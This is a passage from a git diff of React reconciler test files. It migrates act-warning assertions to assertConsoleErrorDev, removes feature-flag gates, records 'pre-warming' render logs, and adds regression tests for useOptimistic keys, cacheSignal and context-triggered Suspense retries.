+      setState(1);
+    });
+    assertConsoleErrorDev([
       'The current testing environment is not configured to support act(...)',
-      {withoutStack: true},
-    );
+    ]);
     assertLog([1]);
     expect(root).toMatchRenderedOutput('1');
 
@@ -224,14 +236,12 @@ describe('act warnings', () => {
 
     // Flag is false. Warn.
     await withActEnvironment(false, () => {
-      expect(() => {
-        act(() => {
-          setState(1);
-        });
-      }).toErrorDev(
+      act(() => {
+        setState(1);
+      });
+      assertConsoleErrorDev([
         'The current testing environment is not configured to support act(...)',
-        {withoutStack: true},
-      );
+      ]);
       assertLog([1]);
       expect(root).toMatchRenderedOutput('1');
     });
@@ -240,12 +250,22 @@ describe('act warnings', () => {
   it('warns if root update is not wrapped', async () => {
     await withActEnvironment(true, () => {
       const root = ReactNoop.createRoot();
-      expect(() => root.render('Hi')).toErrorDev(
+      root.render('Hi');
+      assertConsoleErrorDev([
         // TODO: Better error message that doesn't make it look like "Root" is
         // the name of a custom component
-        'An update to Root inside a test was not wrapped in act(...)',
-        {withoutStack: true},
-      );
+        'An update to Root inside a test was not wrapped in act(...).\n' +
+          '\n' +
+          'When testing, code that causes React state updates should be wrapped into act(...):\n' +
+          '\n' +
+          'act(() => {\n' +
+          '  /* fire events that update state */\n' +
+          '});\n' +
+          '/* assert on the output */\n' +
+          '\n' +
+          "This ensures that you're testing the behavior the user would see in the browser. " +
+          'Learn more at https://react.dev/link/wrap-tests-with-act',
+      ]);
     });
   });
 
@@ -265,9 +285,21 @@ describe('act warnings', () => {
       act(() => {
         root.render(<App />);
       });
-      expect(() => app.setState({count: 1})).toErrorDev(
-        'An update to App inside a test was not wrapped in act(...)',
-      );
+      app.setState({count: 1});
+      assertConsoleErrorDev([
+        'An update to App inside a test was not wrapped in act(...).\n' +
+          '\n' +
+          'When testing, code that causes React state updates should be wrapped into act(...):\n' +
+          '\n' +
+          'act(() => {\n' +
+          '  /* fire events that update state */\n' +
+          '});\n' +
+          '/* assert on the output */\n' +
+          '\n' +
+          "This ensures that you're testing the behavior the user would see in the browser. " +
+          'Learn more at https://react.dev/link/wrap-tests-with-act\n' +
+          '    in App (at **)',
+      ]);
     });
   });
 
@@ -288,9 +320,21 @@ describe('act warnings', () => {
 
       // Even though this update is synchronous, we should still fire a warning,
       // because it could have spawned additional asynchronous work
-      expect(() => ReactNoop.flushSync(() => setState(1))).toErrorDev(
-        'An update to App inside a test was not wrapped in act(...)',
-      );
+      ReactNoop.flushSync(() => setState(1));
+      assertConsoleErrorDev([
+        'An update to App inside a test was not wrapped in act(...).\n' +
+          '\n' +
+          'When testing, code that causes React state updates should be wrapped into act(...):\n' +
+          '\n' +
+          'act(() => {\n' +
+          '  /* fire events that update state */\n' +
+          '});\n' +
+          '/* assert on the output */\n' +
+          '\n' +
+          "This ensures that you're testing the behavior the user would see in the browser. " +
+          'Learn more at https://react.dev/link/wrap-tests-with-act\n' +
+          '    in App (at **)',
+      ]);
 
       assertLog([1]);
       expect(root).toMatchRenderedOutput('1');
@@ -313,15 +357,43 @@ describe('act warnings', () => {
       act(() => {
         root.render(<App />);
       });
-      assertLog(['Suspend! [Async]', 'Loading...']);
+      assertLog([
+        'Suspend! [Async]',
+        'Loading...',
+        // pre-warming
+        'Suspend! [Async]',
+      ]);
       expect(root).toMatchRenderedOutput('Loading...');
 
       // This is a retry, not a ping, because we already showed a fallback.
-      expect(() => resolveText('Async')).toErrorDev(
-        'A suspended resource finished loading inside a test, but the event ' +
-          'was not wrapped in act(...)',
-        {withoutStack: true},
-      );
+      resolveText('Async');
+      assertConsoleErrorDev([
+        'A suspended resource finished loading inside a test, but the event was not wrapped in act(...).\n' +
+          '\n' +
+          'When testing, code that resolves suspended data should be wrapped into act(...):\n' +
+          '\n' +
+          'act(() => {\n' +
+          '  /* finish loading suspended data */\n' +
+          '});\n' +
+          '/* assert on the output */\n' +
+          '\n' +
+          "This ensures that you're testing the behavior the user would see in the browser. " +
+          'Learn more at https://react.dev/link/wrap-tests-with-act',
+
+        // pre-warming
+
+        'A suspended resource finished loading inside a test, but the event was not wrapped in act(...).\n' +
+          '\n' +
+          'When testing, code that resolves suspended data should be wrapped into act(...):\n' +
+          '\n' +
+          'act(() => {\n' +
+          '  /* finish loading suspended data */\n' +
+          '});\n' +
+          '/* assert on the output */\n' +
+          '\n' +
+          "This ensures that you're testing the behavior the user would see in the browser. " +
+          'Learn more at https://react.dev/link/wrap-tests-with-act',
+      ]);
     });
   });
 
@@ -353,11 +425,20 @@ describe('act warnings', () => {
       expect(root).toMatchRenderedOutput('(empty)');
 
       // This is a ping, not a retry, because no fallback is showing.
-      expect(() => resolveText('Async')).toErrorDev(
-        'A suspended resource finished loading inside a test, but the event ' +
-          'was not wrapped in act(...)',
-        {withoutStack: true},
-      );
+      resolveText('Async');
+      assertConsoleErrorDev([
+        'A suspended resource finished loading inside a test, but the event was not wrapped in act(...).\n' +
+          '\n' +
+          'When testing, code that resolves suspended data should be wrapped into act(...):\n' +
+          '\n' +
+          'act(() => {\n' +
+          '  /* finish loading suspended data */\n' +
+          '});\n' +
+          '/* assert on the output */\n' +
+          '\n' +
+          "This ensures that you're testing the behavior the user would see in the browser. " +
+          'Learn more at https://react.dev/link/wrap-tests-with-act',
+      ]);
     });
   });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactAsyncActions-test.js b/packages/react-reconciler/src/__tests__/ReactAsyncActions-test.js
index ad4c2d5e9737..26874881dca5 100644
--- a/packages/react-reconciler/src/__tests__/ReactAsyncActions-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactAsyncActions-test.js
@@ -7,6 +7,7 @@ let useTransition;
 let useState;
 let useOptimistic;
 let textCache;
+let assertConsoleErrorDev;
 
 describe('ReactAsyncActions', () => {
   beforeEach(() => {
@@ -21,6 +22,8 @@ describe('ReactAsyncActions', () => {
     Scheduler = require('scheduler');
     act = require('internal-test-utils').act;
     assertLog = require('internal-test-utils').assertLog;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
     useTransition = React.useTransition;
     useState = React.useState;
     useOptimistic = React.useOptimistic;
@@ -121,7 +124,6 @@ describe('ReactAsyncActions', () => {
     return text;
   }
 
-  // @gate enableAsyncActions
   it('isPending remains true until async action finishes', async () => {
     let startTransition;
     function App() {
@@ -154,7 +156,6 @@ describe('ReactAsyncActions', () => {
     expect(root).toMatchRenderedOutput('Pending: false');
   });
 
-  // @gate enableAsyncActions
   it('multiple updates in an async action scope are entangled together', async () => {
     let startTransition;
     function App({text}) {
@@ -210,7 +211,6 @@ describe('ReactAsyncActions', () => {
     );
   });
 
-  // @gate enableAsyncActions
   it('multiple async action updates in the same scope are entangled together', async () => {
     let setStepA;
     function A() {
@@ -297,7 +297,14 @@ describe('ReactAsyncActions', () => {
     // This will schedule an update on C, and also the async action scope
     // will end. This will allow React to attempt to render the updates.
     await act(() => resolveText('Wait before updating C'));
-    assertLog(['Async action ended', 'Pending: false', 'Suspend! [A1]']);
+    assertLog([
+      'Async action ended',
+      'Pending: false',
+      'Suspend! [A1]',
+      // pre-warming
+      'Suspend! [B1]',
+      'Suspend! [C1]',
+    ]);
     expect(root).toMatchRenderedOutput(
       <>
         <span>Pending: true</span>
@@ -309,7 +316,13 @@ describe('ReactAsyncActions', () => {
     // together, only when the all of A, B, and C updates are unblocked is the
     // render allowed to proceed.
     await act(() => resolveText('A1'));
-    assertLog(['Pending: false', 'A1', 'Suspend! [B1]']);
+    assertLog([
+      'Pending: false',
+      'A1',
+      'Suspend! [B1]',
+      // pre-warming
+      'Suspend! [C1]',
+    ]);
     expect(root).toMatchRenderedOutput(
       <>
         <span>Pending: true</span>
@@ -336,7 +349,6 @@ describe('ReactAsyncActions', () => {
     );
   });
 
-  // @gate enableAsyncActions
   it('urgent updates are not blocked during an async action', async () => {
     let setStepA;
     function A() {
@@ -417,7 +429,6 @@ describe('ReactAsyncActions', () => {
     );
   });
 
-  // @gate enableAsyncActions
   it("if a sync action throws, it's rethrown from the `useTransition`", async () => {
     class ErrorBoundary extends React.Component {
       state = {error: null};
@@ -459,7 +470,6 @@ describe('ReactAsyncActions', () => {
     expect(root).toMatchRenderedOutput('Oops!');
   });
 
-  // @gate enableAsyncActions
   it("if an async action throws, it's rethrown from the `useTransition`", async () => {
     class ErrorBoundary extends React.Component {
       state = {error: null};
@@ -507,34 +517,6 @@ describe('ReactAsyncActions', () => {
     expect(root).toMatchRenderedOutput('Oops!');
   });
 
-  // @gate !enableAsyncActions
-  it('when enableAsyncActions is disabled, and a sync action throws, `isPending` is turned off', async () => {
-    let startTransition;
-    function App() {
-      const [isPending, _start] = useTransition();
-      startTransition = _start;
-      return <Text text={'Pending: ' + isPending} />;
-    }
-
-    const root = ReactNoop.createRoot();
-    await act(() => {
-      root.render(<App />);
-    });
-    assertLog(['Pending: false']);
-    expect(root).toMatchRenderedOutput('Pending: false');
-
-    await act(() => {
-      expect(() => {
-        startTransition(() => {
-          throw new Error('Oops!');
-        });
-      }).toThrow('Oops!');
-    });
-    assertLog(['Pending: true', 'Pending: false']);
-    expect(root).toMatchRenderedOutput('Pending: false');
-  });
-
-  // @gate enableAsyncActions
   it('if there are multiple entangled actions, and one of them errors, it only affects that action', async () => {
     class ErrorBoundary extends React.Component {
       state = {error: null};
@@ -651,7 +633,6 @@ describe('ReactAsyncActions', () => {
     );
   });
 
-  // @gate enableAsyncActions
   it('useOptimistic can be used to implement a pending state', async () => {
     const startTransition = React.startTransition;
 
@@ -701,7 +682,6 @@ describe('ReactAsyncActions', () => {
     ]);
   });
 
-  // @gate enableAsyncActions
   it('useOptimistic rebases pending updates on top of passthrough value', async () => {
     let serverCart = ['A'];
 
@@ -822,7 +802,6 @@ describe('ReactAsyncActions', () => {
     );
   });
 
-  // @gate enableAsyncActions
   it(
     'regression: when there are no pending transitions, useOptimistic should ' +
       'always return the passthrough value',
@@ -868,7 +847,6 @@ describe('ReactAsyncActions', () => {
     },
   );
 
-  // @gate enableAsyncActions
   it('regression: useOptimistic during setState-in-render', async () => {
     // This is a regression test for a very specific case where useOptimistic is
     // the first hook in the component, it has a pending update, and a later
@@ -906,7 +884,6 @@ describe('ReactAsyncActions', () => {
     expect(root).toMatchRenderedOutput('1');
   });
 
-  // @gate enableAsyncActions
   it('useOptimistic accepts a custom reducer', async () => {
     let serverCart = ['A'];
 
@@ -1038,7 +1015,6 @@ describe('ReactAsyncActions', () => {
     );
   });
 
-  // @gate enableAsyncActions
   it('useOptimistic rebases if the passthrough is updated during a render phase update', async () => {
     // This is kind of an esoteric case where it's hard to come up with a
     // realistic real-world scenario but it should still work.
@@ -1123,7 +1099,6 @@ describe('ReactAsyncActions', () => {
     expect(root).toMatchRenderedOutput(<div>Count: 3</div>);
   });
 
-  // @gate enableAsyncActions
   it('useOptimistic rebases if the passthrough is updated during a render phase update (initial mount)', async () => {
     // This is kind of an esoteric case where it's hard to come up with a
     // realistic real-world scenario but it should still work.
@@ -1163,7 +1138,6 @@ describe('ReactAsyncActions', () => {
     );
   });
 
-  // @gate enableAsyncActions
   it('useOptimistic can update repeatedly in the same async action', async () => {
     let startTransition;
     let setLoadingProgress;
@@ -1227,7 +1201,6 @@ describe('ReactAsyncActions', () => {
     expect(root).toMatchRenderedOutput(<div>B</div>);
   });
 
-  // @gate enableAsyncActions
   it('useOptimistic warns if outside of a transition', async () => {
     let startTransition;
     let setLoadingProgress;
@@ -1260,22 +1233,19 @@ describe('ReactAsyncActions', () => {
     assertLog(['A']);
     expect(root).toMatchRenderedOutput(<div>A</div>);
 
-    await expect(async () => {
-      await act(() => {
-        setLoadingProgress('25%');
-        startTransition(() => setText('B'));
-      });
-    }).toErrorDev(
+    await act(() => {
+      setLoadingProgress('25%');
+      startTransition(() => setText('B'));
+    });
+    assertConsoleErrorDev([
       'An optimistic state update occurred outside a transition or ' +
         'action. To fix, move the update to an action, or wrap ' +
         'with startTransition.',
-      {withoutStack: true},
-    );
+    ]);
     assertLog(['Loading... (25%)', 'A', 'B']);
     expect(root).toMatchRenderedOutput(<div>B</div>);
   });
 
-  // @gate enableAsyncActions
   it(
     'optimistic state is not reverted until async action finishes, even if ' +
       'useTransition hook is unmounted',
@@ -1378,7 +1348,6 @@ describe('ReactAsyncActions', () => {
     },
   );
 
-  // @gate enableAsyncActions
   it(
     'updates in an async action are entangled even if useTransition hook ' +
       'is unmounted before it finishes',
@@ -1466,7 +1435,6 @@ describe('ReactAsyncActions', () => {
     },
   );
 
-  // @gate enableAsyncActions
   it(
     'updates in an async action are entangled even if useTransition hook ' +
       'is unmounted before it finishes (class component)',
@@ -1561,7 +1529,6 @@ describe('ReactAsyncActions', () => {
     },
   );
 
-  // @gate enableAsyncActions
   it(
     'updates in an async action are entangled even if useTransition hook ' +
       'is unmounted before it finishes (root update)',
@@ -1646,7 +1613,6 @@ describe('ReactAsyncActions', () => {
     },
   );
 
-  // @gate enableAsyncActions
   it('React.startTransition supports async actions', async () => {
     const startTransition = React.startTransition;
 
@@ -1684,7 +1650,6 @@ describe('ReactAsyncActions', () => {
     expect(root).toMatchRenderedOutput('C');
   });
 
-  // @gate enableAsyncActions
   it('useOptimistic works with async actions passed to React.startTransition', async () => {
     const startTransition = React.startTransition;
 
@@ -1731,12 +1696,11 @@ describe('ReactAsyncActions', () => {
     expect(root).toMatchRenderedOutput(<span>Updated</span>);
   });
 
-  // @gate enableAsyncActions
   it(
     'regression: updates in an action passed to React.startTransition are batched ' +
       'even if there were no updates before the first await',
     async () => {
-      // Regression for a bug that occured in an older, too-clever-by-half
+      // Regression for a bug that occurred in an older, too-clever-by-half
       // implementation of the isomorphic startTransition API. Now, the
       // isomorphic startTransition is literally the composition of every
       // reconciler instance's startTransition, so the behavior is less likely
@@ -1802,19 +1766,14 @@ describe('ReactAsyncActions', () => {
   );
 
   it('React.startTransition captures async errors and passes them to reportError', async () => {
-    // NOTE: This is gated here instead of using the pragma because the failure
-    // happens asynchronously and the `gate` runtime doesn't capture it.
-    if (gate(flags => flags.enableAsyncActions)) {
-      await act(() => {
-        React.startTransition(async () => {
-          throw new Error('Oops');
-        });
+    await act(() => {
+      React.startTransition(async () => {
+        throw new Error('Oops');
       });
-      assertLog(['reportError: Oops']);
-    }
+    });
+    assertLog(['reportError: Oops']);
   });
 
-  // @gate enableAsyncActions
   it('React.startTransition captures sync errors and passes them to reportError', async () => {
     await act(() => {
       try {
@@ -1827,4 +1786,83 @@ describe('ReactAsyncActions', () => {
     });
     assertLog(['reportError: Oops']);
   });
+
+  // @gate enableOptimisticKey
+  it('reconciles against new items when optimisticKey is used', async () => {
+    const startTransition = React.startTransition;
+
+    function Item({text}) {
+      const [initialText] = React.useState(text);
+      return <span>{initialText + '-' + text}</span>;
+    }
+
+    let addOptimisticItem;
+    function App({items}) {
+      const [optimisticItems, _addOptimisticItem] = useOptimistic(
+        items,
+        (canonicalItems, optimisticText) =>
+          canonicalItems.concat({
+            id: React.optimisticKey,
+            text: optimisticText,
+          }),
+      );
+      addOptimisticItem = _addOptimisticItem;
+      return (
+        <div>
+          {optimisticItems.map(item => (
+            <Item key={item.id} text={item.text} />
+          ))}
+        </div>
+      );
+    }
+
+    const A = {
+      id: 'a',
+      text: 'A',
+    };
+
+    const B = {
+      id: 'b',
+      text: 'B',
+    };
+
+    const root = ReactNoop.createRoot();
+    await act(() => {
+      root.render(<App items={[A]} />);
+    });
+    expect(root).toMatchRenderedOutput(
+      <div>
+        <span>A-A</span>
+      </div>,
+    );
+
+    // Start an async action using the non-hook form of startTransition. The
+    // action includes an optimistic update.
+    await act(() => {
+      startTransition(async () => {
+        addOptimisticItem('b');
+        await getText('Yield before updating');
+        startTransition(() => root.render(<App items={[A, B]} />));
+      });
+    });
+    // Because the action hasn't finished yet, the optimistic UI is shown.
+    expect(root).toMatchRenderedOutput(
+      <div>
+        <span>A-A</span>
+        <span>b-b</span>
+      </div>,
+    );
+
+    // Finish the async action. The optimistic state is reverted and replaced by
+    // the canonical state. The state is transferred to the new row.
+    await act(() => {
+      resolveText('Yield before updating');
+    });
+    expect(root).toMatchRenderedOutput(
+      <div>
+        <span>A-A</span>
+        <span>b-B</span>
+      </div>,
+    );
+  });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactBatching-test.internal.js b/packages/react-reconciler/src/__tests__/ReactBatching-test.internal.js
index 4d2e8f516c01..bc3cfd8deb57 100644
--- a/packages/react-reconciler/src/__tests__/ReactBatching-test.internal.js
+++ b/packages/react-reconciler/src/__tests__/ReactBatching-test.internal.js
@@ -109,7 +109,15 @@ describe('ReactBlockingMode', () => {
       </Suspense>,
     );
 
-    await waitForAll(['A', 'Suspend! [B]', 'Loading...']);
+    await waitForAll([
+      'A',
+      'Suspend! [B]',
+      'Loading...',
+      // pre-warming
+      'A',
+      'Suspend! [B]',
+      'C',
+    ]);
     // In Legacy Mode, A and B would mount in a hidden primary tree. In
     // Concurrent Mode, nothing in the primary tree should mount. But the
     // fallback should mount immediately.
@@ -159,17 +167,7 @@ describe('ReactBlockingMode', () => {
     );
 
     // Now flush the first update
-    if (gate(flags => flags.enableUnifiedSyncLane)) {
-      assertLog(['A1', 'B1']);
-      expect(root).toMatchRenderedOutput('A1B1');
-    } else {
-      // Only the second update should have flushed synchronously
-      assertLog(['B1']);
-      expect(root).toMatchRenderedOutput('A0B1');
-
-      // Now flush the first update
-      await waitForAll(['A1']);
-      expect(root).toMatchRenderedOutput('A1B1');
-    }
+    assertLog(['A1', 'B1']);
+    expect(root).toMatchRenderedOutput('A1B1');
   });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactCPUSuspense-test.js b/packages/react-reconciler/src/__tests__/ReactCPUSuspense-test.js
index d640f87205e4..54e4207c6568 100644
--- a/packages/react-reconciler/src/__tests__/ReactCPUSuspense-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactCPUSuspense-test.js
@@ -1,3 +1,5 @@
+/* eslint-disable react/jsx-boolean-value */
+
 let React;
 let ReactNoop;
 let Scheduler;
@@ -122,9 +124,7 @@ describe('ReactSuspenseWithNoopRenderer', () => {
         <>
           <Text text="Outer" />
           <div>
-            <Suspense
-              unstable_expectedLoadTime={2000}
-              fallback={<Text text="Loading..." />}>
+            <Suspense defer fallback={<Text text="Loading..." />}>
               <Text text="Inner" />
             </Suspense>
           </div>
@@ -164,9 +164,7 @@ describe('ReactSuspenseWithNoopRenderer', () => {
         <>
           <Text text="Outer" />
           <div>
-            <Suspense
-              unstable_expectedLoadTime={2000}
-              fallback={<Text text="Loading..." />}>
+            <Suspense defer fallback={<Text text="Loading..." />}>
               <Text text={`Inner [${count}]`} />
             </Suspense>
           </div>
@@ -209,9 +207,7 @@ describe('ReactSuspenseWithNoopRenderer', () => {
         <>
           <Text text="Outer" />
           <div>
-            <Suspense
-              unstable_expectedLoadTime={2000}
-              fallback={<Text text="Loading..." />}>
+            <Suspense defer fallback={<Text text="Loading..." />}>
               <AsyncText text="Inner" />
             </Suspense>
           </div>
@@ -231,7 +227,11 @@ describe('ReactSuspenseWithNoopRenderer', () => {
       );
     });
     // Inner contents suspended, so we continue showing a fallback.
-    assertLog(['Suspend! [Inner]']);
+    assertLog([
+      'Suspend! [Inner]',
+      // pre-warming
+      'Suspend! [Inner]',
+    ]);
     expect(root).toMatchRenderedOutput(
       <>
         Outer
@@ -259,14 +259,10 @@ describe('ReactSuspenseWithNoopRenderer', () => {
         <>
           <Text text="A" />
           <div>
-            <Suspense
-              unstable_expectedLoadTime={2000}
-              fallback={<Text text="Loading B..." />}>
+            <Suspense defer fallback={<Text text="Loading B..." />}>
               <Text text="B" />
               <div>
-                <Suspense
-                  unstable_expectedLoadTime={2000}
-                  fallback={<Text text="Loading C..." />}>
+                <Suspense defer fallback={<Text text="Loading C..." />}>
                   <Text text="C" />
                 </Suspense>
               </div>
diff --git a/packages/react-reconciler/src/__tests__/ReactCache-test.js b/packages/react-reconciler/src/__tests__/ReactCache-test.js
index 7fd43b0b3611..4803ab5283c3 100644
--- a/packages/react-reconciler/src/__tests__/ReactCache-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactCache-test.js
@@ -14,6 +14,7 @@ let React;
 let ReactNoopFlightServer;
 let ReactNoopFlightClient;
 let cache;
+let cacheSignal;
 
 describe('ReactCache', () => {
   beforeEach(() => {
@@ -25,12 +26,12 @@ describe('ReactCache', () => {
     ReactNoopFlightClient = require('react-noop-renderer/flight-client');
 
     cache = React.cache;
+    cacheSignal = React.cacheSignal;
 
     jest.resetModules();
     __unmockReact();
   });
 
-  // @gate enableCache
   it('cache objects and primitive arguments and a mix of them', async () => {
     const types = cache((a, b) => ({a: typeof a, b: typeof b}));
     function Print({a, b}) {
@@ -170,7 +171,6 @@ describe('ReactCache', () => {
     ).toEqual('number number true false false false ');
   });
 
-  // @gate enableCache
   it('cached functions that throw should cache the error', async () => {
     const throws = cache(v => {
       throw new Error(v);
@@ -203,7 +203,6 @@ describe('ReactCache', () => {
     expect(z).not.toBe(x);
   });
 
-  // @gate enableCache
   it('introspection of returned wrapper function is same on client and server', async () => {
     // When the variant flag is true, test the client version of `cache`.
     if (gate(flags => flags.variant)) {
@@ -223,4 +222,86 @@ describe('ReactCache', () => {
     expect(cachedFoo.length).toBe(0);
     expect(cachedFoo.displayName).toBe(undefined);
   });
+
+  it('cacheSignal() returns null outside a render', async () => {
+    expect(cacheSignal()).toBe(null);
+  });
+
+  it('cacheSignal() aborts when the render finishes normally', async () => {
+    let renderedCacheSignal = null;
+
+    let resolve;
+    const promise = new Promise(r => (resolve = r));
+
+    async function Test() {
+      renderedCacheSignal = cacheSignal();
+      await promise;
+      return 'Hi';
+    }
+
+    const controller = new AbortController();
+    const errors = [];
+    const result = ReactNoopFlightServer.render(<Test />, {
+      signal: controller.signal,
+      onError(x) {
+        errors.push(x);
+      },
+    });
+    expect(errors).toEqual([]);
+    expect(renderedCacheSignal).not.toBe(controller.signal); // In the future we might make these the same
+    expect(renderedCacheSignal.aborted).toBe(false);
+    await resolve();
+    await 0;
+    await 0;
+
+    expect(await ReactNoopFlightClient.read(result)).toBe('Hi');
+
+    expect(errors).toEqual([]);
+    expect(renderedCacheSignal.aborted).toBe(true);
+    expect(renderedCacheSignal.reason.message).toContain(
+      'This render completed successfully.',
+    );
+  });
+
+  it('cacheSignal() aborts when the render is aborted', async () => {
+    let renderedCacheSignal = null;
+
+    const promise = new Promise(() => {});
+
+    async function Test() {
+      renderedCacheSignal = cacheSignal();
+      await promise;
+      return 'Hi';
+    }
+
+    const controller = new AbortController();
+    const errors = [];
+    const result = ReactNoopFlightServer.render(<Test />, {
+      signal: controller.signal,
+      onError(x) {
+        errors.push(x);
+        return 'hi';
+      },
+    });
+    expect(errors).toEqual([]);
+    expect(renderedCacheSignal).not.toBe(controller.signal); // In the future we might make these the same
+    expect(renderedCacheSignal.aborted).toBe(false);
+    const reason = new Error('Timed out');
+    controller.abort(reason);
+    expect(errors).toEqual([reason]);
+    expect(renderedCacheSignal.aborted).toBe(true);
+    expect(renderedCacheSignal.reason).toBe(reason);
+
+    let clientError = null;
+    try {
+      await ReactNoopFlightClient.read(result);
+    } catch (x) {
+      clientError = x;
+    }
+    expect(clientError).not.toBe(null);
+    if (__DEV__) {
+      expect(clientError.message).toBe('Timed out');
+    }
+    expect(clientError.digest).toBe('hi');
+  });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactClassSetStateCallback-test.js b/packages/react-reconciler/src/__tests__/ReactClassSetStateCallback-test.js
index c9e0a36d0cb4..e0533df2bcda 100644
--- a/packages/react-reconciler/src/__tests__/ReactClassSetStateCallback-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactClassSetStateCallback-test.js
@@ -39,13 +39,9 @@ describe('ReactClassSetStateCallback', () => {
     assertLog([0]);
 
     await act(() => {
-      if (gate(flags => flags.enableUnifiedSyncLane)) {
-        React.startTransition(() => {
-          app.setState({step: 1}, () => Scheduler.log('Callback 1'));
-        });
-      } else {
+      React.startTransition(() => {
         app.setState({step: 1}, () => Scheduler.log('Callback 1'));
-      }
+      });
       ReactNoop.flushSync(() => {
         app.setState({step: 2}, () => Scheduler.log('Callback 2'));
       });
diff --git a/packages/react-reconciler/src/__tests__/ReactConcurrentErrorRecovery-test.js b/packages/react-reconciler/src/__tests__/ReactConcurrentErrorRecovery-test.js
index 1af61323fc94..d4bd1958f64c 100644
--- a/packages/react-reconciler/src/__tests__/ReactConcurrentErrorRecovery-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactConcurrentErrorRecovery-test.js
@@ -397,8 +397,12 @@ describe('ReactConcurrentErrorRecovery', () => {
           );
         });
       });
-      assertLog(['Suspend! [Async]']);
-      // The render suspended without committing or surfacing the error.
+      assertLog([
+        'Suspend! [Async]',
+        // pre-warming
+        'Caught an error: Oops!',
+      ]);
+      // The render suspended without committing the error.
       expect(root).toMatchRenderedOutput(null);
 
       // Try the reverse order, too: throw then suspend
@@ -414,7 +418,7 @@ describe('ReactConcurrentErrorRecovery', () => {
           );
         });
       });
-      assertLog(['Suspend! [Async]']);
+      assertLog(['Suspend! [Async]', 'Caught an error: Oops!']);
       expect(root).toMatchRenderedOutput(null);
 
       await act(async () => {
diff --git a/packages/react-reconciler/src/__tests__/ReactContextPropagation-test.js b/packages/react-reconciler/src/__tests__/ReactContextPropagation-test.js
index f6ebd3c57494..6a2b74813e15 100644
--- a/packages/react-reconciler/src/__tests__/ReactContextPropagation-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactContextPropagation-test.js
@@ -2,6 +2,7 @@ let React;
 let ReactNoop;
 let Scheduler;
 let act;
+let use;
 let useState;
 let useContext;
 let Suspense;
@@ -19,6 +20,7 @@ describe('ReactLazyContextPropagation', () => {
     ReactNoop = require('react-noop-renderer');
     Scheduler = require('scheduler');
     act = require('internal-test-utils').act;
+    use = React.use;
     useState = React.useState;
     useContext = React.useContext;
     Suspense = React.Suspense;
@@ -35,11 +37,6 @@ describe('ReactLazyContextPropagation', () => {
     seededCache = null;
   });
 
-  // NOTE: These tests are not specific to the lazy propagation (as opposed to
-  // eager propagation). The behavior should be the same in both
-  // implementations. These are tests that are more relevant to the lazy
-  // propagation implementation, though.
-
   function createTextCache() {
     if (seededCache !== null) {
       // Trick to seed a cache before it exists.
@@ -399,7 +396,13 @@ describe('ReactLazyContextPropagation', () => {
       // the fallback displays despite this being a refresh.
       setContext('B');
     });
-    assertLog(['Suspend! [B]', 'Loading...', 'B']);
+    assertLog([
+      'Suspend! [B]',
+      'Loading...',
+      'B',
+      // pre-warming
+      'Suspend! [B]',
+    ]);
     expect(root).toMatchRenderedOutput('Loading...B');
 
     await act(async () => {
@@ -479,7 +482,13 @@ describe('ReactLazyContextPropagation', () => {
       // the fallback displays despite this being a refresh.
       setContext('B');
     });
-    assertLog(['Suspend! [B]', 'Loading...', 'B']);
+    assertLog([
+      'Suspend! [B]',
+      'Loading...',
+      'B',
+      // pre-warming
+      'Suspend! [B]',
+    ]);
     expect(root).toMatchRenderedOutput('Loading...B');
 
     await act(async () => {
@@ -670,7 +679,7 @@ describe('ReactLazyContextPropagation', () => {
       setContext = setValue;
       const children = React.useMemo(
         () => (
-          <SuspenseList revealOrder="forwards">
+          <SuspenseList revealOrder="forwards" tail="visible">
             <Child />
             <Child />
           </SuspenseList>
@@ -812,7 +821,12 @@ describe('ReactLazyContextPropagation', () => {
     await act(() => {
       setContext('B');
     });
-    assertLog(['Suspend! [B]', 'Loading...']);
+    assertLog([
+      'Suspend! [B]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [B]',
+    ]);
     expect(root).toMatchRenderedOutput('Loading...');
 
     await act(async () => {
@@ -925,4 +939,178 @@ describe('ReactLazyContextPropagation', () => {
     assertLog(['B', 'B']);
     expect(root).toMatchRenderedOutput('BB');
   });
+
+  it('regression: context change triggers retry of suspended Suspense boundary on initial mount', async () => {
+    // Regression test for a bug where a context change above a suspended
+    // Suspense boundary would fail to trigger a retry. When a Suspense
+    // boundary suspends during initial mount, the primary children's fibers
+    // are discarded because there is no current tree to preserve them. If
+    // the suspended promise never resolves, the only way to retry is
+    // something external — like a context change. Context propagation must
+    // mark suspended Suspense boundaries for retry even though the consumer
+    // fibers no longer exist in the tree.
+    //
+    // The Provider component owns the state update. The children are
+    // passed in from above, so they are not re-created when the Provider
+    // re-renders — this means the Suspense boundary bails out, exercising
+    // the lazy context propagation path where the bug manifests.
+    const Context = React.createContext(null);
+    const neverResolvingPromise = new Promise(() => {});
+    const resolvedThenable = {status: 'fulfilled', value: 'Result', then() {}};
+
+    function Consumer() {
+      return <Text text={use(use(Context))} />;
+    }
+
+    let setPromise;
+    function Provider({children}) {
+      const [promise, _setPromise] = useState(neverResolvingPromise);
+      setPromise = _setPromise;
+      return <Context.Provider value={promise}>{children}</Context.Provider>;
+    }
+
+    const root = ReactNoop.createRoot();
+    await act(() => {
+      root.render(
+        <Provider>
+          <Suspense fallback={<Text text="Loading" />}>
+            <Consumer />
+          </Suspense>
+        </Provider>,
+      );
+    });
+    assertLog(['Loading']);
+    expect(root).toMatchRenderedOutput('Loading');
+
+    await act(() => {
+      setPromise(resolvedThenable);
+    });
+    assertLog(['Result']);
+    expect(root).toMatchRenderedOutput('Result');
+  });
+
+  it('regression: context change triggers retry of suspended Suspense boundary on initial mount (nested)', async () => {
+    // Same as above, but with an additional indirection component between
+    // the provider and the Suspense boundary. This exercises the
+    // propagateContextChanges walker path rather than the
+    // propagateParentContextChanges path.
+    const Context = React.createContext(null);
+    const neverResolvingPromise = new Promise(() => {});
+    const resolvedThenable = {status: 'fulfilled', value: 'Result', then() {}};
+
+    function Consumer() {
+      return <Text text={use(use(Context))} />;
+    }
+
+    function Indirection({children}) {
+      Scheduler.log('Indirection');
+      return children;
+    }
+
+    let setPromise;
